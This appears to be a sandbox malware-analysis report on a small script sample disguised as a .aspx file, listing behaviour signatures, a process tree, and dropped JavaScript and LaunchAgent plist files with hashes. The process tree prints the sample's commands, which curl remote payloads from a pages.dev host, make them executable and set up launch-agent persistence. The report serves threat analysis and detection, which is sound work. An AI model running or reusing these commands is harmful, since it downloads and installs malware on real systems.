Overview

overview

7

Static

static

1

BgbPjXF2Oy...J.aspx

ubuntu-18.04-amd64

7

BgbPjXF2Oy...J.aspx

debian-9-armhf

7

BgbPjXF2Oy...J.aspx

debian-9-mips

7

BgbPjXF2Oy...J.aspx

debian-9-mipsel

7

Analysis

  • max time kernel
    13s
  • max time network
    15s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30/10/2026, 12:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    BgbPjXF2OyPuQi1PEX0Oavuvb5jUNY4NA1OFYwA2QvTl3n3dMHnqARDkRguLbCuMZnK5ilJ.aspx
  • Size 977B
  • Sample261030-pcv24ads4k
  • SHA256 eaa1df5dd7e45914b7dd596d3681a9fca45b810ec4cca0b7b2dcacfaa21fc35d
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Reads runtime system information 18 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/BgbPjXF2OyPuQi1PEX0Oavuvb5jUNY4NA1OFYwA2QvTl3n3dMHnqARDkRguLbCuMZnK5ilJ.aspx
    /tmp/BgbPjXF2OyPuQi1PEX0Oavuvb5jUNY4NA1OFYwA2QvTl3n3dMHnqARDkRguLbCuMZnK5ilJ.aspx
    1⤵
    • Writes file to tmp directory
    PID:716
    • /bin/date
      date "+%s"
      2⤵
        PID:721
      • /usr/bin/nohup
        nohup curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/N1ijZ9W0u8HrnVBYsij47ehYPn5ryXofc15jArDAyvOA6h70ImSG0LN5IdFwErbi9DTBzeh.aspx
        2⤵
          PID:730
        • /usr/bin/nohup
          nohup curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/PT9M1JSJSblxEawIXDhfrsfjwt9UHEh1EancwDjE1CMJoGOsmOTUQ69PbaZl8ZhyKglb2c1.aspx
          2⤵
            PID:733
          • /bin/bash
            bash
            2⤵
            • Writes file to tmp directory
            PID:734
            • /usr/bin/awk
              awk "{print \$NF}"
              3⤵
              • Reads runtime system information
              PID:756
            • /bin/grep
              grep "Hardware UUID"
              3⤵
                PID:755
              • /bin/mkdir
                mkdir -p "/Library/Application Support/"
                3⤵
                • Reads runtime system information
                PID:766
              • /bin/mkdir
                mkdir -p /Library/LaunchAgents
                3⤵
                • Reads runtime system information
                PID:767
              • /usr/bin/curl
                curl -fsSL https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/AZtWnWXTsCaMJflFa0EdEzm6dnHmVjjkA1av4ueRrPaNxJzgaID1t4CyO7Njyh3N0AcF40z.aspx -o "/Library/Application Support//.js"
                3⤵
                • Reads runtime system information
                PID:775
              • /bin/chmod
                chmod +x "/Library/Application Support//.js"
                3⤵
                • File and Directory Permissions Modification
                PID:787
              • /bin/cat
                cat
                3⤵
                  PID:790
              • /usr/bin/nohup
                nohup curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/Kuhdm8guFgUXS1R3JMhJbKP5p40Z272neTeKHcjqvr22eCVqp9eHxqTRhogfJAjAjgcn2meqtZsi9Ef.aspx
                2⤵
                  PID:735
                • /bin/bash
                  bash
                  2⤵
                  • Writes file to tmp directory
                  PID:736
                  • /bin/grep
                    grep "Hardware UUID"
                    3⤵
                      PID:761
                    • /usr/bin/awk
                      awk "{print \$NF}"
                      3⤵
                      • Reads runtime system information
                      PID:762
                    • /usr/bin/awk
                      awk "{print \$NF}"
                      3⤵
                      • Reads runtime system information
                      PID:765
                    • /usr/bin/openssl
                      openssl dgst -sha256 -hmac keychain
                      3⤵
                        PID:764
                      • /bin/mkdir
                        mkdir -p "/Library/Application Support/e81d1d6d2ddd5ab09dfcac4e9a1876aac76fc2a5b2655858e67e1f37723ebf42"
                        3⤵
                        • Reads runtime system information
                        PID:776
                      • /bin/mkdir
                        mkdir -p /Library/LaunchAgents
                        3⤵
                        • Reads runtime system information
                        PID:777
                      • /usr/bin/curl
                        curl -fsSL https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/ESupKghjDHz7V7PhLE4QnJgCQWsuiW6dhnanfhZOyw5QG2QYIy0XR1bT87JwTSUsm.aspx -o "/Library/Application Support/e81d1d6d2ddd5ab09dfcac4e9a1876aac76fc2a5b2655858e67e1f37723ebf42/e81d1d6d2ddd5ab09dfcac4e9a1876aac76fc2a5b2655858e67e1f37723ebf42.js"
                        3⤵
                        • Reads runtime system information
                        PID:779
                      • /bin/chmod
                        chmod +x "/Library/Application Support/e81d1d6d2ddd5ab09dfcac4e9a1876aac76fc2a5b2655858e67e1f37723ebf42/e81d1d6d2ddd5ab09dfcac4e9a1876aac76fc2a5b2655858e67e1f37723ebf42.js"
                        3⤵
                        • File and Directory Permissions Modification
                        PID:788
                      • /bin/cat
                        cat
                        3⤵
                          PID:791
                      • /usr/bin/nohup
                        nohup curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/YWvdwZGhv3ieQZpsyaWZQK2YU18vgzznul8Cejaj8yFudd6IfWzSQ9e2VpEgEPKypE.aspx
                        2⤵
                          PID:737
                      • /bin/bash
                        bash
                        1⤵
                        • Writes file to tmp directory
                        PID:738
                        • /bin/grep
                          grep "Hardware UUID"
                          2⤵
                            PID:770
                          • /usr/bin/awk
                            awk "{print \$NF}"
                            2⤵
                            • Reads runtime system information
                            PID:771
                          • /usr/bin/openssl
                            openssl dgst -sha256 -hmac sender
                            2⤵
                              PID:773
                            • /usr/bin/awk
                              awk "{print \$NF}"
                              2⤵
                              • Reads runtime system information
                              PID:774
                            • /bin/mkdir
                              mkdir -p "/Library/Application Support/721372527a548b8e4a578936667434696839a1e37642daaffd201dfa55b539f3"
                              2⤵
                              • Reads runtime system information
                              PID:778
                            • /bin/mkdir
                              mkdir -p /Library/LaunchAgents
                              2⤵
                              • Reads runtime system information
                              PID:780
                            • /usr/bin/curl
                              curl -fsSL https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/vRiRqyizmDemmISjFRKLsSDfNXlOZ5NPLO9qMTBf1EMHSSDg9nKkF9QG3LpDdV9P.aspx -o "/Library/Application Support/721372527a548b8e4a578936667434696839a1e37642daaffd201dfa55b539f3/721372527a548b8e4a578936667434696839a1e37642daaffd201dfa55b539f3.js"
                              2⤵
                              • Reads runtime system information
                              PID:782
                            • /bin/chmod
                              chmod +x "/Library/Application Support/721372527a548b8e4a578936667434696839a1e37642daaffd201dfa55b539f3/721372527a548b8e4a578936667434696839a1e37642daaffd201dfa55b539f3.js"
                              2⤵
                              • File and Directory Permissions Modification
                              PID:786
                            • /bin/cat
                              cat
                              2⤵
                                PID:789
                            • /usr/local/sbin/curl
                              curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/N1ijZ9W0u8HrnVBYsij47ehYPn5ryXofc15jArDAyvOA6h70ImSG0LN5IdFwErbi9DTBzeh.aspx
                              1⤵
                                PID:730
                              • /usr/local/bin/curl
                                curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/N1ijZ9W0u8HrnVBYsij47ehYPn5ryXofc15jArDAyvOA6h70ImSG0LN5IdFwErbi9DTBzeh.aspx
                                1⤵
                                  PID:730
                                • /usr/sbin/curl
                                  curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/N1ijZ9W0u8HrnVBYsij47ehYPn5ryXofc15jArDAyvOA6h70ImSG0LN5IdFwErbi9DTBzeh.aspx
                                  1⤵
                                    PID:730
                                  • /usr/local/sbin/curl
                                    curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/PT9M1JSJSblxEawIXDhfrsfjwt9UHEh1EancwDjE1CMJoGOsmOTUQ69PbaZl8ZhyKglb2c1.aspx
                                    1⤵
                                      PID:733
                                    • /usr/local/bin/curl
                                      curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/PT9M1JSJSblxEawIXDhfrsfjwt9UHEh1EancwDjE1CMJoGOsmOTUQ69PbaZl8ZhyKglb2c1.aspx
                                      1⤵
                                        PID:733
                                      • /usr/sbin/curl
                                        curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/PT9M1JSJSblxEawIXDhfrsfjwt9UHEh1EancwDjE1CMJoGOsmOTUQ69PbaZl8ZhyKglb2c1.aspx
                                        1⤵
                                          PID:733
                                        • /usr/bin/curl
                                          curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/N1ijZ9W0u8HrnVBYsij47ehYPn5ryXofc15jArDAyvOA6h70ImSG0LN5IdFwErbi9DTBzeh.aspx
                                          1⤵
                                          • Reads runtime system information
                                          PID:730
                                        • /usr/bin/curl
                                          curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/PT9M1JSJSblxEawIXDhfrsfjwt9UHEh1EancwDjE1CMJoGOsmOTUQ69PbaZl8ZhyKglb2c1.aspx
                                          1⤵
                                          • Reads runtime system information
                                          PID:733
                                        • /usr/local/sbin/curl
                                          curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/Kuhdm8guFgUXS1R3JMhJbKP5p40Z272neTeKHcjqvr22eCVqp9eHxqTRhogfJAjAjgcn2meqtZsi9Ef.aspx
                                          1⤵
                                            PID:735
                                          • /usr/local/bin/curl
                                            curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/Kuhdm8guFgUXS1R3JMhJbKP5p40Z272neTeKHcjqvr22eCVqp9eHxqTRhogfJAjAjgcn2meqtZsi9Ef.aspx
                                            1⤵
                                              PID:735
                                            • /usr/sbin/curl
                                              curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/Kuhdm8guFgUXS1R3JMhJbKP5p40Z272neTeKHcjqvr22eCVqp9eHxqTRhogfJAjAjgcn2meqtZsi9Ef.aspx
                                              1⤵
                                                PID:735
                                              • /usr/bin/curl
                                                curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/Kuhdm8guFgUXS1R3JMhJbKP5p40Z272neTeKHcjqvr22eCVqp9eHxqTRhogfJAjAjgcn2meqtZsi9Ef.aspx
                                                1⤵
                                                • Reads runtime system information
                                                PID:735
                                              • /usr/local/sbin/curl
                                                curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/YWvdwZGhv3ieQZpsyaWZQK2YU18vgzznul8Cejaj8yFudd6IfWzSQ9e2VpEgEPKypE.aspx
                                                1⤵
                                                  PID:737
                                                • /usr/local/bin/curl
                                                  curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/YWvdwZGhv3ieQZpsyaWZQK2YU18vgzznul8Cejaj8yFudd6IfWzSQ9e2VpEgEPKypE.aspx
                                                  1⤵
                                                    PID:737
                                                  • /usr/sbin/curl
                                                    curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/YWvdwZGhv3ieQZpsyaWZQK2YU18vgzznul8Cejaj8yFudd6IfWzSQ9e2VpEgEPKypE.aspx
                                                    1⤵
                                                      PID:737
                                                    • /usr/bin/curl
                                                      curl -s https://q6oh4a3ny7x53vh4ftnwwqyztaeg8tdnlb1rib29w0uwuaxnog24c3ib.pages.dev/YWvdwZGhv3ieQZpsyaWZQK2YU18vgzznul8Cejaj8yFudd6IfWzSQ9e2VpEgEPKypE.aspx
                                                      1⤵
                                                      • Reads runtime system information
                                                      PID:737

                                                    Network

                                                          MITRE ATT&CK Enterprise v16

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          .js
                                                          • Path /Library/Application Support/.js
                                                          • Size 9KB
                                                          • SHA256 4a0c6f2e030bbd9532f376f66d5da3c1bb70d7f921783ab74aaced80e6d1e84b
                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                          Submit Download

                                                          721372527a548b8e4a578936667434696839a1e37642daaffd201dfa55b539f3.js
                                                          • Path /Library/Application Support/721372527a548b8e4a578936667434696839a1e37642daaffd201dfa55b539f3/721372527a548b8e4a578936667434696839a1e37642daaffd201dfa55b539f3.js
                                                          • Size 7KB
                                                          • SHA256 636f17dcb0adb0b336e9350aff302a26f29707aed087151ca4a6df298e316e68
                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                          Submit Download

                                                          e81d1d6d2ddd5ab09dfcac4e9a1876aac76fc2a5b2655858e67e1f37723ebf42.js
                                                          • Path /Library/Application Support/e81d1d6d2ddd5ab09dfcac4e9a1876aac76fc2a5b2655858e67e1f37723ebf42/e81d1d6d2ddd5ab09dfcac4e9a1876aac76fc2a5b2655858e67e1f37723ebf42.js
                                                          • Size 6KB
                                                          • SHA256 3f98d3c6e5bc88cdb1a87dcbde35f3ac33f9a21d7d9de931d8ab2f3bc791bd73
                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                          Submit Download

                                                          .plist
                                                          • Path /Library/LaunchAgents/.plist
                                                          • Size 713B
                                                          • SHA256 451e0d39fad68e7a990ca624eab32d84da825990cbf4434ba091a47df2de06a1
                                                          • MD5 SHA1 SHA512 TLSH
                                                          Submit Download

                                                          721372527a548b8e4a578936667434696839a1e37642daaffd201dfa55b539f3.plist
                                                          • Path /Library/LaunchAgents/721372527a548b8e4a578936667434696839a1e37642daaffd201dfa55b539f3.plist
                                                          • Size 905B
                                                          • SHA256 90e4fd9844c4b5747073d407698a446e1ebcfb6428af4f59d70274c77aaff7d4
                                                          • MD5 SHA1 SHA512 TLSH
                                                          Submit Download

                                                          e81d1d6d2ddd5ab09dfcac4e9a1876aac76fc2a5b2655858e67e1f37723ebf42.plist
                                                          • Path /Library/LaunchAgents/e81d1d6d2ddd5ab09dfcac4e9a1876aac76fc2a5b2655858e67e1f37723ebf42.plist
                                                          • Size 905B
                                                          • SHA256 32fd07f45f9894c6ab35065656d6acab900c016a78c1389633a2abbfcf3e827d
                                                          • MD5 SHA1 SHA512 TLSH
                                                          Submit Download

                                                          exec_throttle.lock
                                                          • Path /tmp/exec_throttle.lock
                                                          • Size 11B
                                                          • SHA256 3dfd8b74cc10edc5efb5a216bee835cccba183a1d73020cb2b68753b33c644f4
                                                          • MD5 SHA1 SHA512
                                                          Submit Download